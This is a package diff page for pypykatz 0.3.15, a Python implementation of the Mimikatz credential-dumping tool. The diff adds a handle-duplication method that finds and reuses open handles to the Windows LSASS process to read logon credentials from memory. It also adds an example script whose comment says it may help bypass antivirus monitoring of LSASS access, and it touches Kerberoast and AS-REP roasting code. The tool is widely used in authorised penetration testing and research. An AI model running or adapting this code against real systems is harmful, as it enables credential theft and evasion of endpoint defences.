Codebase list pypykatz / 71ed8b55-a1fe-4ef5-a6c9-4839d96ee315/upstream
Import upstream version 0.3.15 Kali Janitor 3 years ago
29 changed file(s) with 437 addition(s) and 266 deletion(s). Raw diff Collapse all Expand all
0 MIT License
1
2 Copyright (c) 2018
3
4 Permission is hereby granted, free of charge, to any person obtaining a copy
5 of this software and associated documentation files (the "Software"), to deal
6 in the Software without restriction, including without limitation the rights
7 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 copies of the Software, and to permit persons to whom the Software is
9 furnished to do so, subject to the following conditions:
10
11 The above copyright notice and this permission notice shall be included in all
12 copies or substantial portions of the Software.
13
14 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
20 SOFTWARE.
0 include LICENSE README.md
00 Metadata-Version: 1.2
11 Name: pypykatz
2 Version: 0.3.7
2 Version: 0.3.15
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
6 Author-email: [email protected]
6 Author-email: [email protected]
77 License: UNKNOWN
88 Description: UNKNOWN
99 Platform: UNKNOWN
8484
8585 dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file')
8686 dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
87 dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
88
8789
8890 dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
8991 dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file')
00
1 __version__ = "0.3.7"
1 __version__ = "0.3.15"
22 __banner__ = \
33 """
44 # pypyKatz %s
33 import enum
44 import logging
55
6 from .kernel32 import *
7 from .psapi import *
6 from pypykatz.commons.readers.local.common.kernel32 import *
7 from pypykatz.commons.readers.local.common.psapi import *
88
99 class WindowsMinBuild(enum.Enum):
1010 WIN_XP = 2500
4949
5050 PROCESS_QUERY_INFORMATION = 0x0400
5151 PROCESS_VM_READ = 0x0010
52 MAXIMUM_ALLOWED = 33554432
5253
5354
5455 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
7475 if pid_to_name[pid].lower().find('lsass.exe') != -1:
7576 return pid
7677
77 raise Exception('Failed to find lsass.exe')
78 raise Exception('Failed to find lsass.exe')
79
292292
293293
294294 class LiveReader:
295 def __init__(self):
295 def __init__(self, lsass_process_handle = None):
296296 self.processor_architecture = None
297297 self.lsass_process_name = 'lsass.exe'
298 self.lsass_process_handle = None
298 self.lsass_process_handle = lsass_process_handle
299299 self.current_position = None
300300 self.BuildNumber = None
301301 self.modules = []
338338 buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
339339 self.BuildNumber = int(buildnumber)
340340
341
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Opening lsass.exe')
346 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
347341 if self.lsass_process_handle is None:
348 raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
349
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Opening lsass.exe')
346 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
347 if self.lsass_process_handle is None:
348 raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
349 else:
350 logging.debug('Using pre-defined handle')
350351 logging.log(1, 'Enumerating modules')
351352 module_handles = EnumProcessModules(self.lsass_process_handle)
352353 for module_handle in module_handles:
224224 t = cred.to_dict()
225225 if t['credtype'] != 'dpapi':
226226 if t['password'] is not None:
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), '']
228228 yield 0, x
229229 else:
230230 t = cred.to_dict()
205205 self.Data3 = WORD(reader).value
206206 self.Data4 = reader.read(8)
207207 self.value = '-'.join([
208 hex(self.Data1)[2:],
209 hex(self.Data2)[2:],
210 hex(self.Data3)[2:],
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:],
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:]
208 hex(self.Data1)[2:].zfill(8),
209 hex(self.Data2)[2:].zfill(4),
210 hex(self.Data3)[2:].zfill(4),
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4),
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12)
213213 ])
214214
215215 class PLIST_ENTRY(POINTER):
221221 self.location = reader.tell()
222222 self.Flink = PLIST_ENTRY(reader)
223223 self.Blink = PLIST_ENTRY(reader)
224
224
702702 ("MaximumLength", USHORT),
703703 ("Buffer", PVOID),
704704 ]
705
706 def getString(self):
707 return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le')
705708
706709 # From MSDN:
707710 #
6464 WRITE_WATCH_FLAG_RESET = 0x01
6565 FILE_MAP_ALL_ACCESS = 0xF001F
6666
67 PROCESS_DUP_HANDLE = 0x0040
68
6769 class UserModeHandle (HANDLE):
6870 """
6971 Base class for non-kernel handles. Generally this means they are closed
341343 _GetCurrentProcessId.argtypes = []
342344 _GetCurrentProcessId.restype = DWORD
343345 return _GetCurrentProcessId()
346
347 # HANDLE WINAPI GetCurrentProcess(void);
348 def GetCurrentProcess():
349 ## return 0xFFFFFFFFFFFFFFFFL
350 _GetCurrentProcess = windll.kernel32.GetCurrentProcess
351 _GetCurrentProcess.argtypes = []
352 _GetCurrentProcess.restype = HANDLE
353 return _GetCurrentProcess()
344354
345355 # BOOL WINAPI QueryFullProcessImageName(
346356 # __in HANDLE hProcess,
33 import enum
44 import logging
55
6 from pypykatz import logger
7 from .ntdll import *
68 from .kernel32 import *
79 from .psapi import *
810
7476 if pid_to_name[pid].lower().find('lsass.exe') != -1:
7577 return pid
7678
77 raise Exception('Failed to find lsass.exe')
79 raise Exception('Failed to find lsass.exe')
80
81 def enum_lsass_handles():
82 #searches for open LSASS process handles in all processes
83 # you should be having SE_DEBUG enabled at this point
84 RtlAdjustPrivilege(20)
85
86 lsass_handles = []
87 sysinfohandles = NtQuerySystemInformation(16)
88 for pid in sysinfohandles:
89 if pid == 4:
90 continue
91 #if pid != GetCurrentProcessId():
92 # continue
93 for syshandle in sysinfohandles[pid]:
94 #print(pid)
95 try:
96 pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid)
97 except Exception as e:
98 logger.debug('Error opening process %s Reason: %s' % (pid, e))
99 continue
100
101 try:
102 dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
103 #print(dupHandle)
104 except Exception as e:
105 logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
106 continue
107
108 oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
109 if oinfo.Name.getString() == 'Process':
110 try:
111 pname = QueryFullProcessImageNameW(dupHandle)
112 if pname.lower().find('lsass.exe') != -1:
113 logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
114 #print('%s : %s' % (pid, pname))
115 lsass_handles.append((pid, dupHandle))
116 except Exception as e:
117 logger.debug('Failed to obtain the path of the process! PID: %s' % pid)
118 continue
119
120 return lsass_handles
121
22 from ctypes import windll
33 from ctypes.wintypes import ULONG, BOOL,LONG
44
5 from .defines import *
5 from pypykatz.commons.winapi.local.function_defs.defines import *
6
7 SystemHandleInformation = 16
8 ObjectBasicInformation = 0
9 ObjectNameInformation = 1
10 ObjectTypeInformation = 2
11
12
13 POOL_TYPE = ctypes.c_int
14 NonPagedPool = 1
15 PagedPool = 2
16 NonPagedPoolMustSucceed = 3
17 DontUseThisType = 4
18 NonPagedPoolCacheAligned = 5
19 PagedPoolCacheAligned = 6
20 NonPagedPoolCacheAlignedMustS = 7
21
22 # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping
23 class GENERIC_MAPPING(Structure):
24 _fields_ = [
25 ("GenericRead", ACCESS_MASK ),
26 ("GenericWrite", ACCESS_MASK ),
27 ("GenericExecute", ACCESS_MASK ),
28 ("GenericAll", ACCESS_MASK ),
29 ]
30
31 PGENERIC_MAPPING = POINTER(GENERIC_MAPPING)
32
33 class SYSTEM_HANDLE(Structure):
34 _fields_ = [
35 ("ProcessId", ULONG),
36 ("ObjectTypeNumber", BYTE),
37 ("Flags", BYTE),
38 ("Handle", USHORT),
39 ("Object", PVOID),
40 ("GrantedAccess", ACCESS_MASK),
41 ]
42
43 PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE)
44
45 #class SYSTEM_HANDLE_INFORMATION(Structure):
46 # _fields_ = [
47 # ("HandleCount", ULONG),
48 # ("Handles", SYSTEM_HANDLE), #not just one handle
49 # ]
50 #
51 #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION)
52
53 class OBJECT_TYPE_INFORMATION(Structure):
54 _fields_ = [
55 ("Name", UNICODE_STRING),
56 ("TotalNumberOfObjects", ULONG),
57 ("TotalNumberOfHandles", ULONG),
58 ("TotalPagedPoolUsage", ULONG),
59 ("TotalNonPagedPoolUsage", ULONG),
60 ("TotalNamePoolUsage", ULONG),
61 ("TotalHandleTableUsage", ULONG),
62 ("HighWaterNumberOfObjects", ULONG),
63 ("HighWaterNumberOfHandles", ULONG),
64 ("HighWaterPagedPoolUsage", ULONG),
65 ("HighWaterNonPagedPoolUsage", ULONG),
66 ("HighWaterNamePoolUsage", ULONG),
67 ("HighWaterHandleTableUsage", ULONG),
68 ("GenericMapping", GENERIC_MAPPING),
69 ("ValidAccess", ULONG),
70 ("SecurityRequired", BOOLEAN),
71 ("MaintainHandleCount", BOOLEAN),
72 ("MaintainTypeList", USHORT),
73 ("PoolType", POOL_TYPE),
74 ("PagedPoolUsage", ULONG),
75 ("NonPagedPoolUsage", ULONG),
76 ]
77
78 POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION)
79
680
781 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
882 # BOOL WINAPI RtlAdjustPrivilege(
27101 if status != 0:
28102 raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status)
29103
30 return Enabled.value
104 return Enabled.value
105
106 # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
107 def NtQuerySystemInformation(info_type):
108 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
109 _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG]
110 _NtQuerySystemInformation.restype = ULONG
111
112 handleinfos = {}
113
114 if info_type != 16:
115 raise Exception('info_type only the value 16 is supported!')
116
117 size = DWORD(0x10)
118 data = ctypes.create_string_buffer(size.value)
119 while True:
120 #_NtQuerySystemInformation returns an incorrect expected size...
121 size = DWORD(size.value*2)
122 data = ctypes.create_string_buffer(size.value)
123 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
124 if status == 0:
125 break
126 if status != 0xC0000004:
127 raise Exception('NtQuerySystemInformation returned %s' % hex(status))
128
129 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
130
131 data_bytes = bytearray(data.raw[:size.value])
132
133 hc = ULONG.from_buffer(data_bytes)
134
135 class SYSTEM_HANDLE_INFORMATION(Structure):
136 _fields_ = [
137 ("HandleCount", ULONG),
138 ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle
139 ]
140
141
142 syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes)
143
144 for i in range(syshandleinfo.HandleCount):
145 if not syshandleinfo.Handles[i].ProcessId in handleinfos:
146 handleinfos[syshandleinfo.Handles[i].ProcessId] = []
147 handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i])
148
149 return handleinfos
150
151
152 def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0):
153 """
154 privilige_id: int
155 """
156 _NtDuplicateObject = windll.ntdll.NtDuplicateObject
157 _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG]
158 _NtDuplicateObject.restype = ULONG
159
160
161
162 oHandle = HANDLE()
163 status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0)
164 if status != 0:
165 raise Exception('Failed call to NtDuplicateObject! Status: %s' % status)
166
167 return oHandle
168
169 def NtQueryObject(ObjectHandle, ObjectInformationClass):
170 """
171 privilige_id: int
172 """
173 _NtQueryObject = windll.ntdll.NtQueryObject
174 _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG]
175 _NtQueryObject.restype = ULONG
176
177 #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]:
178 if ObjectInformationClass != ObjectTypeInformation:
179 raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass )
180
181 size = ULONG(0x10)
182 oinfo_data = ctypes.create_string_buffer(size.value)
183
184 while True:
185 oinfo_data = ctypes.create_string_buffer(size.value)
186 status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size))
187 if status == 0xc0000004:
188 continue
189 if status != 0:
190 raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status))
191
192 break
193
194 if ObjectInformationClass == ObjectNameInformation:
195 raise NotImplementedError('TODO: implement me when needed!')
196 elif ObjectInformationClass == ObjectTypeInformation:
197 oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value]))
198
199 return oinfo
200
160160 nt_hash = bytes.fromhex(nt_hash)
161161 key1 = None
162162
163 if password:
163 if password or password == '':
164164 md4 = hashlib.new('md4')
165165 md4.update(password.encode('utf-16le'))
166166 nt_hash = md4.digest()
0
1 #
2 # In case you happen to have a DLL that has an export which returns a handle to LSASS process
3 # You can use this example to load such DLL via ctypes and call pypykatz using said handle
4 # Might be interesting to bypass AV monitoring openprocess on LSASS
5 #
6
7 from ctypes import windll, c_void_p
8 from pypykatz.pypykatz import pypykatz
9
10 dll_path = ''
11
12 def get_lsass_handle():
13 your_dll = windll.LoadLibrary(dll_path)
14 _your_function = your_dll.your_function
15 _your_function.argtypes = [] #I guess no args
16 _your_function.restype = c_void_p #this is basically a handle
17
18 phandle = _your_function()
19
20 return phandle
21
22
23 phandle = get_lsass_handle()
24 res = pypykatz.go_live_phandle(phandle)
25 print(str(res))
3636
3737 def run_live(self, args):
3838 from winsspi.sspi import KerberoastSSPI
39 from minikerberos.security import TGSTicket2hashcat, APREPRoast
40 from minikerberos.utils import TGTTicket2hashcat
41 from minikerberos.communication import KerberosSocket
42 from minikerberos.common import KerberosTarget
39 from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
40 from minikerberos.security import APREPRoast
41 from minikerberos.network.clientsocket import KerberosClientSocket
42 from minikerberos.common.target import KerberosTarget
4343 from pypykatz.commons.winapi.machine import LiveMachine
4444
4545 if not args.target_file and not args.target_user:
112112 dcip = args.dc_ip
113113 if args.dc_ip is None:
114114 dcip = machine.get_domain()
115 ks = KerberosSocket( dcip )
115 ks = KerberosClientSocket( dcip )
116116 ar = APREPRoast(ks)
117117 results = ar.run(targets)
118118
4141
4242
4343 def run_live(self, args):
44 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
45 from msldap.ldap_objects import MSADUser
46 from msldap import logger as msldaplogger
47 from pypykatz.commons.winapi.machine import LiveMachine
48
49 machine = LiveMachine()
50
51 if args.credential:
52 creds = MSLDAPCredential.from_connection_string(args.credential)
53 else:
54 creds = MSLDAPCredential.get_dummy_sspi()
55
56 if args.dc_ip:
57 target = MSLDAPTarget(args.dc_ip)
58 else:
59 target = MSLDAPTarget(machine.get_domain())
60
61 connection = MSLDAPConnection(creds, target)
62 connection.connect()
63
64 try:
65 adinfo = connection.get_ad_info()
66 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
67 except Exception as e:
68 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
69 domain = machine.get_domain()
70
71 if args.cmd == 'spn':
72 logging.debug('Enumerating SPN user accounts...')
73 cnt = 0
74 if args.out_file:
75 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
76 for user in connection.get_all_service_user_objects():
77 cnt += 1
78 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
79
80 else:
81 print('[+] SPN users')
82 for user in connection.get_all_service_user_objects():
83 cnt += 1
84 print('%s/%s' % (domain, user.sAMAccountName))
85
86 logging.debug('Enumerated %d SPN user accounts' % cnt)
87
88 elif args.cmd == 'asrep':
89 logging.debug('Enumerating ASREP user accounts...')
90 ctr = 0
91 if args.out_file:
92 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
93 for user in connection.get_all_knoreq_user_objects():
94 ctr += 1
95 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
96 else:
97 print('[+] ASREP users')
98 for user in connection.get_all_knoreq_user_objects():
99 ctr += 1
100 print('%s/%s' % (domain, user.sAMAccountName))
101
102 logging.debug('Enumerated %d ASREP user accounts' % ctr)
103
104 elif args.cmd == 'dump':
105 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
106 ctr = 0
107 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
108 if args.out_file:
109 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
110 writer = csv.writer(f, delimiter = '\t')
111 writer.writerow(attrs)
112 for user in connection.get_all_user_objects():
113 ctr += 1
114 writer.writerow(user.get_row(attrs))
115
116 else:
117 logging.debug('Are you sure about this?')
118 print('[+] Full user dump')
119 print('\t'.join(attrs))
120 for user in connection.get_all_user_objects():
121 ctr += 1
122 print('\t'.join([str(x) for x in user.get_row(attrs)]))
123
124
125 logging.debug('Enumerated %d user accounts' % ctr)
126
127 elif args.cmd == 'custom':
128 if not args.filter:
129 raise Exception('Custom LDAP search requires the search filter to be specified!')
130 if not args.attrs:
131 raise Exception('Custom LDAP search requires the attributes to be specified!')
132
133 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
134 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
135 ctr = 0
136
137 if args.out_file:
138 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
139 writer = csv.writer(f, delimiter = '\t')
140 writer.writerow(args.attrs)
141 for obj in connection.pagedsearch(args.filter, args.attrs):
142 ctr += 1
143 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
144
145 else:
146 for obj in connection.pagedsearch(args.filter, args.attrs):
147 ctr += 1
148 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
149
150 logging.debug('Custom search yielded %d results!' % ctr)
44 raise Exception('Coming soon...')
15145
15246 def run(self, args):
153 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
154 from msldap.ldap_objects import MSADUser
155 from msldap import logger as msldaplogger
156
157 if not args.credential:
158 raise Exception('You must provide credentials when using ldap in platform independent mode.')
159
160 creds = MSLDAPCredential.from_connection_string(args.credential)
161 target = MSLDAPTarget.from_connection_string(args.credential)
162
163 connection = MSLDAPConnection(creds, target)
164 connection.connect()
165
166 try:
167 adinfo = connection.get_ad_info()
168 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
169 except Exception as e:
170 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
171 domain = machine.get_domain()
172
173 if args.cmd == 'spn':
174 logging.debug('Enumerating SPN user accounts...')
175 cnt = 0
176 if args.out_file:
177 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
178 for user in connection.get_all_service_user_objects():
179 cnt += 1
180 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
181
182 else:
183 print('[+] SPN users')
184 for user in connection.get_all_service_user_objects():
185 cnt += 1
186 print('%s/%s' % (domain, user.sAMAccountName))
187
188 logging.debug('Enumerated %d SPN user accounts' % cnt)
189
190 elif args.cmd == 'asrep':
191 logging.debug('Enumerating ASREP user accounts...')
192 ctr = 0
193 if args.out_file:
194 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
195 for user in connection.get_all_knoreq_user_objects():
196 ctr += 1
197 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
198 else:
199 print('[+] ASREP users')
200 for user in connection.get_all_knoreq_user_objects():
201 ctr += 1
202 print('%s/%s' % (domain, user.sAMAccountName))
203
204 logging.debug('Enumerated %d ASREP user accounts' % ctr)
205
206 elif args.cmd == 'dump':
207 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
208 ctr = 0
209 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
210 if args.out_file:
211 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
212 writer = csv.writer(f, delimiter = '\t')
213 writer.writerow(attrs)
214 for user in connection.get_all_user_objects():
215 ctr += 1
216 writer.writerow(user.get_row(attrs))
217
218 else:
219 logging.debug('Are you sure about this?')
220 print('[+] Full user dump')
221 print('\t'.join(attrs))
222 for user in connection.get_all_user_objects():
223 ctr += 1
224 print('\t'.join([str(x) for x in user.get_row(attrs)]))
225
226
227 logging.debug('Enumerated %d user accounts' % ctr)
228
229 elif args.cmd == 'custom':
230 if not args.filter:
231 raise Exception('Custom LDAP search requires the search filter to be specified!')
232 if not args.attrs:
233 raise Exception('Custom LDAP search requires the attributes to be specified!')
234
235 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
236 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
237 ctr = 0
238
239 if args.out_file:
240 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
241 writer = csv.writer(f, delimiter = '\t')
242 writer.writerow(args.attrs)
243 for obj in connection.pagedsearch(args.filter, args.attrs):
244 ctr += 1
245 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
246
247 else:
248 for obj in connection.pagedsearch(args.filter, args.attrs):
249 ctr += 1
250 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
251
252 logging.debug('Custom search yielded %d results!' % ctr)
47 raise Exception('Coming soon...')
25348
2828 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
2929 live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
3030 live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
31 live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'Print credentials in greppable format')
3132
3233 group = parser.add_parser('lsa', help='Get secrets from memory dump')
3334 group.add_argument('cmd', choices=['minidump','rekall'])
143144 if args.module == 'lsa':
144145 filename = 'live'
145146 try:
146 mimi = pypykatz.go_live()
147 if args.method == 'procopen':
148 mimi = pypykatz.go_live()
149 elif args.method == 'handledup':
150 mimi = pypykatz.go_handledup()
151 if mimi is None:
152 raise Exception('HANDLEDUP failed to bring any results!')
147153 results['live'] = mimi
148154 except Exception as e:
149155 files_with_error.append(filename)
9191 self.log('Looking for main struct signature in memory...')
9292 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
9393 if len(fl) == 0:
94 logging.warning('signature not found! %s' % self.decryptor_template.signature.hex())
94 logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
9595 raise Exception('LSA signature not found!')
9696
9797 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
4242 self.log('Looking for main struct signature in memory...')
4343 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature)
4444 if len(fl) == 0:
45 logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
45 logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
4646 raise Exception('LSA signature not found!')
4747
4848 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
372372 continue
373373
374374 self.walk_list(entry_ptr, self.add_entry)
375
376 #self.brute_test()
377
378 #def brute_test(self):
379 # from pypykatz.commons.win_datatypes import LUID
380 # luid_int = 1138792
381 # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False)
382 # needle_luid = LUID(io.BytesIO(luid_bytes)).value
383 # offset = 0x70
384 #
385 # for luid_pos in self.reader.find_all_global(luid_bytes):
386 # self.reader.move(luid_pos - offset)
387 # et = self.decryptor_template.list_entry(self.reader).finaltype
388 # self.reader.move(luid_pos - offset)
389 # test_ptr = et(self.reader)
390 # if test_ptr.LocallyUniqueIdentifier == needle_luid:
391 # print('HIT!')
392 # entry_ptr = self.decryptor_template.list_entry(self.reader)
393 # try:
394 # self.walk_list(test_ptr.Flink, self.add_entry)
395 # except Exception as e:
396 # print('ERR! %s' % e)
1313 TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \
1414 DpapiTemplate, DpapiDecryptor, LsaDecryptor
1515
16 from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
1617 from pypykatz import logger
1718 from pypykatz.commons.common import UniversalEncoder
1819 from minidump.minidumpfile import MinidumpFile
4546 return t
4647
4748 def to_json(self):
48 return json.dumps(self.to_dict(), cls = UniversalEncoder)
49
49 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
50
51 def to_grep(self):
52 res = ':'.join(LogonSession.grep_header) + '\r\n'
53 for luid in self.logon_sessions:
54 for row in self.logon_sessions[luid].to_grep_rows():
55 res += ':'.join(row) + '\r\n'
56 for cred in self.orphaned_creds:
57 t = cred.to_dict()
58 if t['credtype'] != 'dpapi':
59 if t['password'] is not None:
60 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
61 res += ':'.join(x) + '\r\n'
62 else:
63 t = cred.to_dict()
64 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
65 res += ':'.join(x) + '\r\n'
66
67 return res
68
69 def __str__(self):
70 res = '== Logon credentials ==\r\n'
71 for luid in self.logon_sessions:
72 res += str(self.logon_sessions[luid]) + '\r\n'
73
74 if len(self.orphaned_creds) > 0:
75 res += '== Orphaned credentials ==\r\n'
76 for cred in self.orphaned_creds:
77 res += str(cred) + '\r\n'
78
79 return res
80
5081 @staticmethod
5182 def go_live():
5283 if platform.system() != 'Windows':
5384 raise Exception('Live parsing will only work on Windows')
5485 from pypykatz.commons.readers.local.live_reader import LiveReader
5586 reader = LiveReader()
87 sysinfo = KatzSystemInfo.from_live_reader(reader)
88 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
89 mimi.start()
90 return mimi
91
92 @staticmethod
93 def go_handledup():
94 if platform.system() != 'Windows':
95 raise Exception('Live parsing will only work on Windows')
96 from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles
97 lsass_handles = enum_lsass_handles()
98 if len(lsass_handles) == 0:
99 raise Exception('No handles found to LSASS!')
100 for pid, lsass_handle in lsass_handles:
101 try:
102 return pypykatz.go_live_phandle(lsass_handle)
103 except Exception as e:
104 print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
105
106 @staticmethod
107 def go_live_phandle(lsass_process_handle):
108 if platform.system() != 'Windows':
109 raise Exception('Live parsing will only work on Windows')
110 from pypykatz.commons.readers.local.live_reader import LiveReader
111 reader = LiveReader(lsass_process_handle=lsass_process_handle)
56112 sysinfo = KatzSystemInfo.from_live_reader(reader)
57113 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
58114 mimi.start()
169225
170226 def get_lsa_bruteforce(self):
171227 #good luck!
172 logger.info('Testing all available templates! Expect warnings!')
228 logger.debug('Testing all available templates! Expect warnings!')
173229 for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
174230 try:
175231 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
177233 except:
178234 pass
179235 else:
180 logger.info('Lucky you! Brutefoce method found a -probably- working template!')
236 logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
181237 return lsa_dec
182238
183239 def get_lsa(self):
186242 lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
187243 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
188244 logger.debug(lsa_dec.dump())
189 except:
190 logger.exception('Failed to automatically detect correct LSA template!')
245 except Exception as e:
246 logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
